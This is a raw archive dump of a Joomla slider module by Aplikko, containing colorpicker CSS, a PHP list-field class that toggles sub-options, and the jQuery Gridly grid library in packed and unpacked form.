  border-bottom-color: rgba(0, 0, 0, 0.2);
  content: '';
}

.colorpicker:after {
  position: absolute;
  top: -6px;
  left: 7px;
  display: inline-block;
  border-right: 6px solid transparent;
  border-bottom: 6px solid #ffffff;
  border-left: 6px solid transparent;
  content: '';
}

.colorpicker div {
  position: relative;
}

.colorpicker.colorpicker-with-alpha {
  min-width: 140px;padding:6px 5px 5px 6px;
}

.colorpicker.colorpicker-with-alpha .colorpicker-alpha {
  display: block;
}

.colorpicker-color {
  height: 10px;
  margin-top: 5px;
  clear: both;
  background-image: url("../img/bootstrap-colorpicker/alpha.png");
  background-position: 0 100%;
}

.colorpicker-color div {
  height: 10px;
}

.colorpicker-element .input-group-addon i,
.colorpicker-element .add-on i {
  display: inline-block;
  width: 16px;
  height: 16px;
  vertical-align: text-top;
  cursor: pointer;
}

.colorpicker.colorpicker-inline {
  position: relative;
  z-index: auto;
  display: inline-block;
  float: none;
}

.colorpicker.colorpicker-horizontal {
  width: 110px;
  height: auto;
  min-width: 110px;
}

.colorpicker.colorpicker-horizontal .colorpicker-saturation {
  margin-bottom: 4px;
}

.colorpicker.colorpicker-horizontal .colorpicker-color {
  width: 100px;
}

.colorpicker.colorpicker-horizontal .colorpicker-hue,
.colorpicker.colorpicker-horizontal .colorpicker-alpha {
  float: left;
  width: 100px;
  height: 15px;
  margin-bottom: 4px;
  margin-left: 0;
  cursor: col-resize;
}

.colorpicker.colorpicker-horizontal .colorpicker-hue i,
.colorpicker.colorpicker-horizontal .colorpicker-alpha i {
  position: absolute;
  top: 0;
  left: 0;
  display: block;
  width: 1px;
  height: 15px;
  margin-top: 0;
  background: #ffffff;
  border: none;
}

.colorpicker.colorpicker-horizontal .colorpicker-hue {
  background-image: url("../img/bootstrap-colorpicker/hue-horizontal.png");
}

.colorpicker.colorpicker-horizontal .colorpicker-alpha {
  background-image: url("../img/bootstrap-colorpicker/alpha-horizontal.png");
}

.colorpicker.colorpicker-hidden {
  display: none;
}

.colorpicker.colorpicker-visible {
  display: block;
}

.colorpicker-inline.colorpicker-visible {
  display: inline-block;
}
.input-append.color, .input-append.color input {
	-webkit-transition:all .3s ease;-moz-transition:all .3s ease;-o-transition:all .3s ease;transition:all .3s ease;
}

.helpcolor {
	margin:0 0 0 3px;
	width:22px;
	height:22px;
	background:#f3f3f3;
	border:1px solid #ddd;
	display:inline-block;
	border-radius:2px;
	cursor:pointer;
}
.helpcolor:hover {
	background:#f7f7f7;
	border:1px solid #e1e1e1;


}
.input-append.color [disabled] {
	color:#999;
}
.input-append.color input {
	font-family: Segoe, "Segoe UI", "DejaVu Sans", "Trebuchet MS", Verdana, sans-serif;
}
.input-append.color .add-on span.transparent, .input-prepend.color .add-on span.transparent {
	position: absolute;
	margin:-2px 0 0 0;
	z-index:1;
	width:24px;
	height: 20px;
	-webkit-border-radius: 3px;
	-moz-border-radius: 3px;
	border-radius: 3px;
	background: url("../img/bootstrap-colorpicker/alpha.png") 0 -70px repeat;
	vertical-align: middle;
	display: inline-block;
	cursor: pointer;

} 
.input-append.color .add-on i, .input-prepend.color .add-on i {
	top:-2px;
	position: relative;
	z-index:3;
	width: 22px;
	height: 20px;
	-webkit-border-radius: 3px;
	-moz-border-radius: 3px;
	border-radius: 3px;
	border: solid 1px #CCC;
	vertical-align: middle;
	display: inline-block;
	cursor: pointer;
	-webkit-box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);
	-moz-box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);
	box-shadow: inset 0 9px 0 rgba(255, 255, 255, .1);

} PK!�#o,,5mod_ap_smart_layerslider/admin/colorpicker/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!���)mod_ap_smart_layerslider/admin/aplist.phpnu&1i�<?php
/**
 * @package 	aplist.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');
/**
 * Create List. With the ability to show/hide sub-options.
 * Example xml:
 * <field
 * 	name="mod_ap_show_hide"
 * 	type="aplist"
 * 	default="1"
 * 	<option value="1" sub_fields="mod_yes_field_1,mod_yes_field_2">JYES</option>
 * 	<option value="0" sub_fields="">JNO</option>
 * </field>
 */
class JFormFieldAplist extends JFormFieldList {

	/**
	 * The form field type.
	 *
	 * @var    string
	 */
	protected $type = 'Aplist';

	/**
	 * Active sub-fields.
	 * 
	 * @var		string
	 */
	protected $active_sub_fields = '';

	/**
	 * List of all sub-fields
	 * 
	 * @var		string
	 */
	protected $sub_fields_list = array();

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	protected function getInput() {

		JHTML::script('modules/mod_ap_portfolio/admin/js/apoptions.js');
		
	
		// Initialize variables.
		$html = array();
		$attr = '';

		// Initialize some field attributes.
		$attr .= $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';

		// To avoid user's confusion, readonly="true" should imply disabled="true".
		if ((string) $this->element['readonly'] == 'true' || (string) $this->element['disabled'] == 'true') {
			$attr .= ' disabled="disabled"';
		}

		$attr .= $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
		$attr .= $this->multiple ? ' multiple="multiple"' : '';

		// Initialize JavaScript field attributes.
		$on_change = ' onchange="';
		// Add new script
		$on_change .= ' ap_HideOptions(ap_subfield_' . $this->element['name'] . ');';
		$on_change .= "ap_ShowOptionsByControl('" . $this->element['name'] . "', ap_subfield_" . $this->element['name'] . "_data);";
		
		$on_change .= $this->element['onchange'] ? (string) $this->element['onchange'] : '';

		$on_change .= '"';

		
		$attr .= $on_change;

		// Get the field options.
		$options = (array) $this->getOptions();

		// Create a read-only list (no name) with a hidden input to store the value.
		if ((string) $this->element['readonly'] == 'true') {
			$html[] = JHtml::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $this->value, $this->id);
			$html[] = '<input type="hidden" name="' . $this->name . '" value="' . $this->value . '"/>';
		}
		// Create a regular list.
		else {
			$html[] = JHtml::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id);
		}

		$this->onload_script();

		return implode($html);
	}

	/**
	 * Method to get the script onload
	 * 
	 * @return blank
	 */
	private function onload_script() {
		?>
		<script type="text/javascript">
			var ap_subfield_<?php echo $this->element['name']; ?> = "<?php echo implode(',', $this->sub_fields_list); ?>";
			var ap_subfield_<?php echo $this->element['name']; ?>_data = new Array();			
		<?php foreach ($this->sub_fields_list as $key => $value): ?>
					ap_subfield_<?php echo $this->element['name']; ?>_data["<?php echo $key; ?>"] = "<?php echo $value; ?>";
		<?php endforeach; ?>
				jQuery(window).load(function(){ 
					ap_HideOptions(ap_subfield_<?php echo $this->element['name']; ?>);
					ap_ShowOptions('<?php echo $this->active_sub_fields; ?>');
				});	

		</script>
		<?php
		return;
	}

	/**
	 * Override getOptions Method to get sub fields list.
	 *
	 * @return  array  The field option objects.
	 */
	 
	 
	protected function getOptions() {
		// Initialize variables.
		$options = array();

		foreach ($this->element->children() as $option) {

			// Only add <option /> elements.
			if ($option->getName() != 'option') {
				continue;
			}

			// Create a new option object based on the <option /> element.
			$tmp = JHtml::_('select.option', (string) $option['value'], JText::alt(trim((string) $option), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)), 'value', 'text', ((string) $option['disabled'] == 'true')
			);

			// Set some option attributes.
			$tmp->class = (string) $option['class'];

			// Get sub_fields.
			$sub_fields = str_replace("\n", '', trim($option['sub_fields']));
			if (!empty($sub_fields)) {
				$this->sub_fields_list = array_merge($this->sub_fields_list, array((string) $option['value'] => $sub_fields));
			}

			// Check if it's selected
			if ($option["value"] == $this->value) {
				$this->active_sub_fields = $sub_fields;
			}

			// Set some JavaScript option attributes.
			$tmp->onclick = (string) $option['onclick'];

			// Add the option object to the result set.
			$options[] = $tmp;
		}

		reset($options);

		return $options;
	}

}PK!�~���9mod_ap_smart_layerslider/admin/js/jquery.gridly.packed.jsnu&1i�eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6(){"2f 2D";t $,z,q,n=6(1l,27){5 6(){5 1l.1C(27,1r)}},25=[].23;$=2q;z=(6(){6 z($1b,F,J){3.1f=n(3.1f,3);3.T=n(3.T,3);3.W=n(3.W,3);3.15=n(3.15,3);3.14=n(3.14,3);3.1d=n(3.1d,3);3.Z=n(3.Z,3);3.1c=n(3.1c,3);3.1e=n(3.1e,3);3.$1b=$1b;3.F=F;3.J=J;3.1c()}z.r.1e=6(C){c(C==o){C=\'Z\'}$(22)[C](\'2l 1Y\',3.T);5 $(22)[C](\'2i 1U 1T\',3.W)};z.r.1c=6(C){c(C==o){C=\'Z\'}3.$1b[C](\'2b 1R\',3.F,3.15);5 3.$1b[C](\'1f\',3.F,3.1f)};z.r.Z=6(){5 3.1c(\'Z\')};z.r.1d=6(){5 3.1c(\'1d\')};z.r.14=6(k){2G(k.2B){1j\'1R\':1j\'1Y\':1j\'1U\':1j\'1T\':5 k.2A.2v[0];2r:5 k}};z.r.15=6(k){t 4;c(3.$A){5}k.1v();k.1i();3.1e(\'Z\');3.$A=$(k.A).1N(3.$1b.1W(3.F));3.$A.2k(\'B\');3.1o={x:3.14(k).1M-3.$A.e().1t,y:3.14(k).1O-3.$A.e().1h};5(4=3.J)!=o?V 4.15==="6"?4.15(k):v 0:v 0};z.r.W=6(k){t 4;c(3.$A==o){5}k.1v();k.1i();3.1e(\'1d\');3.$A.2g(\'B\');1I 3.$A;1I 3.1o;5(4=3.J)!=o?V 4.W==="6"?4.W(k):v 0:v 0};z.r.T=6(k){t 4;c(3.$A==o){5}k.1v();k.1i();3.$A.1H({1t:3.14(k).1M-3.1o.x,1h:3.14(k).1O-3.1o.y});3.1G=3.$A;5(4=3.J)!=o?V 4.T==="6"?4.T(k):v 0:v 0};z.r.1f=6(k){c(!3.1G){5}k.1v();k.1i();5 1I 3.1G};5 z})();q=(6(1Z){q.j={1g:29,13:20,l:8,N:{2h:2e,F:\'> *\'},26:1Q};q.1u=6($D,Y){t g;c(Y==o){Y={}}g=$D.g(\'1z\');c(!g){g=28 q($D,Y);$D.g(\'1z\',g)}5 g};6 q($D,j){c(j==o){j={}}3.12=n(3.12,3);3.O=n(3.O,3);3.L=n(3.L,3);3.e=n(3.e,3);3.H=n(3.H,3);3.1w=n(3.1w,3);3.1x=n(3.1x,3);3.1y=n(3.1y,3);3.$P=n(3.$P,3);3.N=n(3.N,3);3.1q=n(3.1q,3);3.$=n(3.$,3);3.1m=n(3.1m,3);3.1a=n(3.1a,3);3.$D=$D;3.j=$.1B({},q.j,j);3.10={};c(3.j.26==2a||3.j.l==2c||!$.2d(3.j.l)){3.10.l=18.24($D.R()/(3.j.13+3.j.1g));$(1Z).2j(6(){t g=$D.g(\'1z\');c(!!g){g.10.l=18.24($D.R()/(g.j.13+g.j.1g));1E(g.O,0)}})}2o{3.10.l=3.j.l}3.1a(3.$(\'> *\'));c(3.j.N!==1Q){3.N()}5 3}q.r.1a=6($f){t $9,i,7,4,Q;Q=[];M(i=7=0,4=$f.I;0<=4?7<=4:7>=4;i=0<=4?++7:--7){$9=$($f[i]);$9.1J("g-e",i);Q.1k($9.g(\'e\',i))}5 Q};q.r.1m=6($9,e){$9.1J("g-e",e);5 $9.g(\'e\',e)};q.r.$=6(F){5 3.$D.1W(F)};q.r.1q=6(d,s){c(d.y>s.y+s.h){5+1}c(s.y>d.y+d.h){5-1}c((d.x+(d.w/2))>(s.x+(s.w/2))){5+1}c((s.x+(s.w/2))>(d.x+(d.w/2))){5-1}5 0};q.r.N=6(C){c(3.1K==o){3.1K=28 z(3.$D,3.j.N.F,{15:3.1y,W:3.1x,T:3.1w})}c(C!=o){5 3.1K[C]()}};q.r.$P=6($f){5($f||3.$(\'> *\')).1P(6(a,b){t $a,$b,X,1s,U,1n;$a=$(a);$b=$(b);X=$a.g(\'e\');U=$b.g(\'e\');1s=1S(X);1n=1S(U);c((X!=o)&&(U==o)){5-1}c((U!=o)&&(X==o)){5+1}c(!X&&!U&&$a.m()<$b.m()){5-1}c(!U&&!X&&$b.m()<$a.m()){5+1}c(1s<1n){5-1}c(1n<1s){5+1}5 0})};q.r.1y=6(k){t $f,4,p;$f=3.$P();3.1a($f);1E(3.O,0);5(4=3.j)!=o?(p=4.J)!=o?V p.1V==="6"?p.1V($f):v 0:v 0:v 0};q.r.1x=6(k){t $f,4,p;$f=3.$P();3.1a($f);1E(3.O,0);5(4=3.j)!=o?(p=4.J)!=o?V p.1L==="6"?p.1L($f):v 0:v 0:v 0};q.r.1w=6(k){t $B,$f,9,i,m,1X,E,7,G,1F,4,p,19;$B=$(k.A).1N(3.$(3.j.N.F));$f=3.$P(3.$(3.j.N.F));E=3.L($f).E;1X=m=$B.g(\'e\');4=E.2m(6(e){5 e.$9.21($B)});M(7=0,1F=4.I;7<1F;7++){9=4[7];9.x=$B.e().1t;9.y=$B.e().1h;9.w=$B.g(\'R\')||$B.R();9.h=$B.g(\'u\')||$B.u()}E.1P(3.1q);$f=E.2p(6(e){5 e.$9});$f=(((p=3.j.J)!=o?p.12:v 0)||3.12)($f);M(i=G=0,19=$f.I;0<=19?G<19:G>19;i=0<=19?++G:--G){3.1m($($f[i]),i)}5 3.O()};q.r.H=6($9){5(($9.g(\'R\')||$9.R())+3.j.13)/(3.j.1g+3.j.13)};q.r.e=6($9,l){t S,u,i,16,H,7,G,4,p;H=3.H($9);u=2s;S=0;M(i=7=0,4=l.I-H;0<=4?7<4:7>4;i=0<=4?++7:--7){16=18.16.1C(18,l.23(i,i+H));c(16<u){u=16;S=i}}M(i=G=S,p=S+H;S<=p?G<p:G>p;i=S<=p?++G:--G){l[i]=u+($9.g(\'u\')||$9.u())+3.j.13}5{x:S*(3.j.1g+3.j.13),y:u}};q.r.L=6($f){t $9,l,i,m,e,E,7,4;c($f==o){$f=3.$P()}E=[];l=(6(){t 7,4,Q;Q=[];M(i=7=0,4=3.10.l;0<=4?7<=4:7>=4;i=0<=4?++7:--7){Q.1k(0)}5 Q}).1D(3);M(m=7=0,4=$f.I;0<=4?7<4:7>4;m=0<=4?++7:--7){$9=$($f[m]);e=3.e($9,l);E.1k({x:e.x,y:e.y,w:$9.g(\'R\')||$9.R(),h:$9.g(\'u\')||$9.u(),$9:$9})}5{u:18.16.1C(18,l),E:E}};q.r.O=6(){t $9,$f,m,e,L,7,4,p;$f=(((4=3.j.J)!=o?4.12:v 0)||3.12)(3.$P());L=3.L($f);M(m=7=0,p=$f.I;0<=p?7<p:7>p;m=0<=p?++7:--7){$9=$($f[m]);e=L.E[m];c($9.21(\'.B\')){2t}$9.1J("g-e",m);$9.1H({e:\'2u\',1t:e.x,1h:e.y})}5 3.$D.1H({u:L.u})};q.r.12=6(11){t l,m,1p,7,4;1p=[];l=0;2w(11.I>0){c(l===3.10.l){l=0}m=0;M(m=7=0,4=11.I;0<=4?7<4:7>4;m=0<=4?++7:--7){c(l+3.H($(11[m]))<=3.10.l){2x}}c(m===11.I){m=0;l=0}l+=3.H($(11[m]));1p.1k(11.2y(m,1)[0])}5 1p};5 q})(2z);$.1l.1B({1u:6(){t K,1A;K=1r[0],1A=2<=1r.I?25.1D(1r,1):[];c(K==o){K={}}5 3.2C(6(){t $3,17,Y;$3=$(3);Y=$.1B({},$.1l.1u.2E,V K==="2F"&&K);17=V K==="2n"?K:K.17;c(17==o){17="O"}5 q.1u($3,Y)[17](1A)})}})}).1D(3);',62,167,'|||this|_ref|return|function|_i||element|||if||position|elements|data|||settings|event|columns|index|__bind|null|_ref1|Gridly|prototype||var|height|void||||Draggable|target|dragging|method|el|positions|selector|_j|size|length|callbacks|option|structure|for|draggable|layout|sorted|_results|width|column|moved|bPosition|typeof|ended|aPosition|options|on|config|originals|optimize|gutter|coordinate|began|max|action|Math|_ref2|ordinalize|container|toggle|off|bind|click|base|top|stopPropagation|case|push|fn|reordinalize|bPositionInt|origin|results|compare|arguments|aPositionInt|left|gridly|preventDefault|draggingMoved|draggingEnded|draggingBegan|_gridly|parameters|extend|apply|call|setTimeout|_len|dragged|css|delete|attr|_draggable|reordered|pageX|closest|pageY|sort|false|touchstart|parseInt|touchcancel|touchend|reordering|find|original|touchmove|win||is|document|slice|floor|__slice|responsive|me|new|60|true|mousedown|undefined|isNumeric|800|use|removeClass|zIndex|mouseup|resize|addClass|mousemove|filter|string|else|map|jQuery|default|Infinity|continue|absolute|touches|while|break|splice|window|originalEvent|type|each|strict|defaults|object|switch'.split('|'),0,{}))PK!��[��2mod_ap_smart_layerslider/admin/js/apoptions.min.jsnu&1i�function ap_HideOptions(a){if((/^\s*$/).test(a)){return}fields=a.split(',');for(var i=0;i<fields.length;i++){ap_HideOption(fields[i])}}function ap_ShowOptions(a){if((/^\s*$/).test(a)){return}fields=a.split(',');for(var i=0;i<fields.length;i++){if((/^\s*$/).test(fields[i])){continue}ap_ShowOption(fields[i])}}function ap_ShowOptionsByControl(a,b){if((/^\s*$/).test(a)){return}if($('jform_params_'+a)==null){return}var c=$('jform_params_'+a).get("value");var d=b[c];if((/^\s*$/).test(d)){return}fields=d.split(',');for(var i=0;i<fields.length;i++){if((/^\s*$/).test(fields[i])){continue}ap_ShowOption(fields[i])}}function ap_ShowOption(a){var b=$('jform_params_'+a);if(b==null){b=$('jform_params_'+a+'-lbl')}if(b==null){return}var c=b.getParent('div.control-group');if(c==null){c=b.getParent('li')}if(c!==null&&c.hasClass('hide')){c.removeClass('hide')}}function ap_HideOption(a){var b=$('jform_params_'+a);if(b==null){b=$('jform_params_'+a+'-lbl')}if(b==null){return}var c=b.getParent('div.control-group');if(c==null){c=b.getParent('li')}if(c!==null&&!c.hasClass('hide')){c.addClass('hide')}}function ap_TogglerDisabledParams(a,b){if((/^\s*$/).test(a)){return}if($('jform_params_'+a)==null){return}}PK!��Uz8z82mod_ap_smart_layerslider/admin/js/jquery.gridly.jsnu&1i�
(function() {
  "use strict";
  var $, Draggable, Gridly,
    __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; },
    __slice = [].slice;

  $ = jQuery;
  Draggable = (function() {
    function Draggable($container, selector, callbacks) {
      this.click = __bind(this.click, this);
      this.moved = __bind(this.moved, this);
      this.ended = __bind(this.ended, this);
      this.began = __bind(this.began, this);
      this.coordinate = __bind(this.coordinate, this);
      this.off = __bind(this.off, this);
      this.on = __bind(this.on, this);
      this.toggle = __bind(this.toggle, this);
      this.bind = __bind(this.bind, this);
      this.$container = $container;
      this.selector = selector;
      this.callbacks = callbacks;
      this.toggle();
    }

    Draggable.prototype.bind = function(method) {
      if (method == null) {
        method = 'on';
      }
      $(document)[method]('mousemove touchmove', this.moved);
      return $(document)[method]('mouseup touchend touchcancel', this.ended);
    };

    Draggable.prototype.toggle = function(method) {
      if (method == null) {
        method = 'on';
      }
      this.$container[method]('mousedown touchstart', this.selector, this.began);
      return this.$container[method]('click', this.selector, this.click);
    };

    Draggable.prototype.on = function() {
      return this.toggle('on');
    };

    Draggable.prototype.off = function() {
      return this.toggle('off');
    };

    Draggable.prototype.coordinate = function(event) {
      switch (event.type) {
        case 'touchstart':
        case 'touchmove':
        case 'touchend':
        case 'touchcancel':
          return event.originalEvent.touches[0];
        default:
          return event;
      }
    };

    Draggable.prototype.began = function(event) {
      var _ref;
      if (this.$target) {
        return;
      }
      event.preventDefault();
      event.stopPropagation();
      this.bind('on');
      this.$target = $(event.target).closest(this.$container.find(this.selector));
      this.$target.addClass('dragging');
      this.origin = {
        x: this.coordinate(event).pageX - this.$target.position().left,
        y: this.coordinate(event).pageY - this.$target.position().top
      };
      return (_ref = this.callbacks) != null ? typeof _ref.began === "function" ? _ref.began(event) : void 0 : void 0;
    };

    Draggable.prototype.ended = function(event) {
      var _ref;
      if (this.$target == null) {
        return;
      }
      event.preventDefault();
      event.stopPropagation();
      this.bind('off');
      this.$target.removeClass('dragging');
      delete this.$target;
      delete this.origin;
      return (_ref = this.callbacks) != null ? typeof _ref.ended === "function" ? _ref.ended(event) : void 0 : void 0;
    };

    Draggable.prototype.moved = function(event) {
      var _ref;
      if (this.$target == null) {
        return;
      }
      event.preventDefault();
      event.stopPropagation();
      this.$target.css({
        left: this.coordinate(event).pageX - this.origin.x,
        top: this.coordinate(event).pageY - this.origin.y
      });
      this.dragged = this.$target;
      return (_ref = this.callbacks) != null ? typeof _ref.moved === "function" ? _ref.moved(event) : void 0 : void 0;
    };

    Draggable.prototype.click = function(event) {
      if (!this.dragged) {
        return;
      }
      event.preventDefault();
      event.stopPropagation();
      return delete this.dragged;
    };

    return Draggable;

  })();

  Gridly = (function(win) {
    Gridly.settings = {
      base: 60,
      gutter: 20,
	  columns:8,
      draggable: {
        zIndex: 800,
        selector: '> *'
      },
	  responsive: false
    };
	
    Gridly.gridly = function($el, options) {
      var data;
      if (options == null) {
        options = {};
      }
      data = $el.data('_gridly');
      if (!data) {
        data = new Gridly($el, options);
        $el.data('_gridly', data);
      }
      return data;
    };

    function Gridly($el, settings) {
      if (settings == null) {
        settings = {};
      }	  
      this.optimize = __bind(this.optimize, this);
      this.layout = __bind(this.layout, this);
      this.structure = __bind(this.structure, this);
      this.position = __bind(this.position, this);
      this.size = __bind(this.size, this);
      this.draggingMoved = __bind(this.draggingMoved, this);
      this.draggingEnded = __bind(this.draggingEnded, this);
      this.draggingBegan = __bind(this.draggingBegan, this);
      this.$sorted = __bind(this.$sorted, this);
      this.draggable = __bind(this.draggable, this);
      this.compare = __bind(this.compare, this);
      this.$ = __bind(this.$, this);
      this.reordinalize = __bind(this.reordinalize, this);
      this.ordinalize = __bind(this.ordinalize, this);
      this.$el = $el;
      this.settings = $.extend({}, Gridly.settings, settings);
	  this.config = {};
	  if(this.settings.responsive == true || this.settings.columns == undefined || !$.isNumeric(this.settings.columns)){		  
		  this.config.columns = Math.floor($el.width() / (this.settings.gutter + this.settings.base));
		  
		  $(win).resize(function(){
			var data = $el.data('_gridly');
			if(!!data){
				data.config.columns = Math.floor($el.width() / (data.settings.gutter + data.settings.base));
				setTimeout(data.layout, 0);
			}
		  });
	  } else {
		this.config.columns = this.settings.columns;
	  }
	  	  
      this.ordinalize(this.$('> *'));
      if (this.settings.draggable !== false) {
        this.draggable();
      }
      return this;
    }

    Gridly.prototype.ordinalize = function($elements) {
      var $element, i, _i, _ref, _results;
      _results = [];
      for (i = _i = 0, _ref = $elements.length; 0 <= _ref ? _i <= _ref : _i >= _ref; i = 0 <= _ref ? ++_i : --_i) {
        $element = $($elements[i]);
		$element.attr("data-position",i);
        _results.push($element.data('position', i));
      }
      return _results;
    };

    Gridly.prototype.reordinalize = function($element, position) {
      $element.attr("data-position",position);
	  return $element.data('position', position);
    };

    Gridly.prototype.$ = function(selector) {
      return this.$el.find(selector);
    };

    Gridly.prototype.compare = function(d, s) {
      if (d.y > s.y + s.h) {
        return +1;
      }
      if (s.y > d.y + d.h) {
        return -1;
      }
      if ((d.x + (d.w / 2)) > (s.x + (s.w / 2))) {
        return +1;
      }
      if ((s.x + (s.w / 2)) > (d.x + (d.w / 2))) {
        return -1;
      }
      return 0;
    };

    Gridly.prototype.draggable = function(method) {
      if (this._draggable == null) {
        this._draggable = new Draggable(this.$el, this.settings.draggable.selector, {
          began: this.draggingBegan,
          ended: this.draggingEnded,
          moved: this.draggingMoved
        });
      }
      if (method != null) {
        return this._draggable[method]();
      }
    };

    Gridly.prototype.$sorted = function($elements) {
      return ($elements || this.$('> *')).sort(function(a, b) {
        var $a, $b, aPosition, aPositionInt, bPosition, bPositionInt;
        $a = $(a);
        $b = $(b);
        aPosition = $a.data('position');
        bPosition = $b.data('position');
        aPositionInt = parseInt(aPosition);
        bPositionInt = parseInt(bPosition);
        if ((aPosition != null) && (bPosition == null)) {
          return -1;
        }
        if ((bPosition != null) && (aPosition == null)) {
          return +1;
        }
        if (!aPosition && !bPosition && $a.index() < $b.index()) {
          return -1;
        }
        if (!bPosition && !aPosition && $b.index() < $a.index()) {
          return +1;
        }
        if (aPositionInt < bPositionInt) {
          return -1;
        }
        if (bPositionInt < aPositionInt) {
          return +1;
        }
        return 0;
      });
    };

    Gridly.prototype.draggingBegan = function(event) {
      var $elements, _ref, _ref1;
      $elements = this.$sorted();
      this.ordinalize($elements);
      setTimeout(this.layout, 0);
      return (_ref = this.settings) != null ? (_ref1 = _ref.callbacks) != null ? typeof _ref1.reordering === "function" ? _ref1.reordering($elements) : void 0 : void 0 : void 0;
    };

    Gridly.prototype.draggingEnded = function(event) {
      var $elements, _ref, _ref1;
      $elements = this.$sorted();
      this.ordinalize($elements);
      setTimeout(this.layout, 0);
      return (_ref = this.settings) != null ? (_ref1 = _ref.callbacks) != null ? typeof _ref1.reordered === "function" ? _ref1.reordered($elements) : void 0 : void 0 : void 0;
    };

    Gridly.prototype.draggingMoved = function(event) {
      var $dragging, $elements, element, i, index, original, positions, _i, _j, _len, _ref, _ref1, _ref2;
      $dragging = $(event.target).closest(this.$(this.settings.draggable.selector));
      $elements = this.$sorted(this.$(this.settings.draggable.selector));
      positions = this.structure($elements).positions;
      original = index = $dragging.data('position');
      _ref = positions.filter(function(position) {
        return position.$element.is($dragging);
      });
      for (_i = 0, _len = _ref.length; _i < _len; _i++) {
        element = _ref[_i];
        element.x = $dragging.position().left;
        element.y = $dragging.position().top;
        element.w = $dragging.data('width') || $dragging.width();
        element.h = $dragging.data('height') || $dragging.height();
      }
      positions.sort(this.compare);
      $elements = positions.map(function(position) {
        return position.$element;
      });
      $elements = (((_ref1 = this.settings.callbacks) != null ? _ref1.optimize : void 0) || this.optimize)($elements);
      for (i = _j = 0, _ref2 = $elements.length; 0 <= _ref2 ? _j < _ref2 : _j > _ref2; i = 0 <= _ref2 ? ++_j : --_j) {
        this.reordinalize($($elements[i]), i);
      }
      return this.layout();
    };

    Gridly.prototype.size = function($element) {
      return (($element.data('width') || $element.width()) + this.settings.gutter) / (this.settings.base + this.settings.gutter);
    };

    Gridly.prototype.position = function($element, columns) {
      var column, height, i, max, size, _i, _j, _ref, _ref1;
      size = this.size($element);
      height = Infinity;
      column = 0;
      for (i = _i = 0, _ref = columns.length - size; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
        max = Math.max.apply(Math, columns.slice(i, i + size));
        if (max < height) {
          height = max;
          column = i;
        }
      }
      for (i = _j = column, _ref1 = column + size; column <= _ref1 ? _j < _ref1 : _j > _ref1; i = column <= _ref1 ? ++_j : --_j) {
        columns[i] = height + ($element.data('height') || $element.height()) + this.settings.gutter;
      }
      return {
        x: column * (this.settings.base + this.settings.gutter),
        y: height
      };
    };

    Gridly.prototype.structure = function($elements) {
      var $element, columns, i, index, position, positions, _i, _ref;
      if ($elements == null) {
        $elements = this.$sorted();
      }
      positions = [];
      columns = (function() {
        var _i, _ref, _results;
        _results = [];
        for (i = _i = 0, _ref = this.config.columns; 0 <= _ref ? _i <= _ref : _i >= _ref; i = 0 <= _ref ? ++_i : --_i) {
          _results.push(0);
        }
        return _results;
      }).call(this);
      for (index = _i = 0, _ref = $elements.length; 0 <= _ref ? _i < _ref : _i > _ref; index = 0 <= _ref ? ++_i : --_i) {
        $element = $($elements[index]);
        position = this.position($element, columns);
        positions.push({
          x: position.x,
          y: position.y,
          w: $element.data('width') || $element.width(),
          h: $element.data('height') || $element.height(),
          $element: $element
        });
      }
      return {
        height: Math.max.apply(Math, columns),
        positions: positions
      };
    };

    Gridly.prototype.layout = function() {
      var $element, $elements, index, position, structure, _i, _ref, _ref1;
      $elements = (((_ref = this.settings.callbacks) != null ? _ref.optimize : void 0) || this.optimize)(this.$sorted());
      structure = this.structure($elements);
      for (index = _i = 0, _ref1 = $elements.length; 0 <= _ref1 ? _i < _ref1 : _i > _ref1; index = 0 <= _ref1 ? ++_i : --_i) {
        $element = $($elements[index]);
        position = structure.positions[index];
        if ($element.is('.dragging')) {
          continue;
        }
		$element.attr("data-position",index);
        $element.css({
          position: 'absolute',
          left: position.x,
          top: position.y
        });
      }
      return this.$el.css({
        height: structure.height
      });
    };

    Gridly.prototype.optimize = function(originals) {
      var columns, index, results, _i, _ref;
      results = [];
      columns = 0;
      while (originals.length > 0) {
        if (columns === this.config.columns) {
          columns = 0;
        }
        index = 0;
        for (index = _i = 0, _ref = originals.length; 0 <= _ref ? _i < _ref : _i > _ref; index = 0 <= _ref ? ++_i : --_i) {
          if (columns + this.size($(originals[index])) <= this.config.columns) {
            break;
          }
        }
        if (index === originals.length) {
          index = 0;
          columns = 0;
        }
        columns += this.size($(originals[index]));
        results.push(originals.splice(index, 1)[0]);
      }
      return results;
    };

    return Gridly;

  })(window);

  $.fn.extend({
    gridly: function() {
      var option, parameters;
      option = arguments[0], parameters = 2 <= arguments.length ? __slice.call(arguments, 1) : [];
      if (option == null) {
        option = {};
      }
      return this.each(function() {
        var $this, action, options;
        $this = $(this);
        options = $.extend({}, $.fn.gridly.defaults, typeof option === "object" && option);
        action = typeof option === "string" ? option : option.action;
        if (action == null) {
          action = "layout";
        }
        return Gridly.gridly($this, options)[action](parameters);
      });
    }
  });

}).call(this);
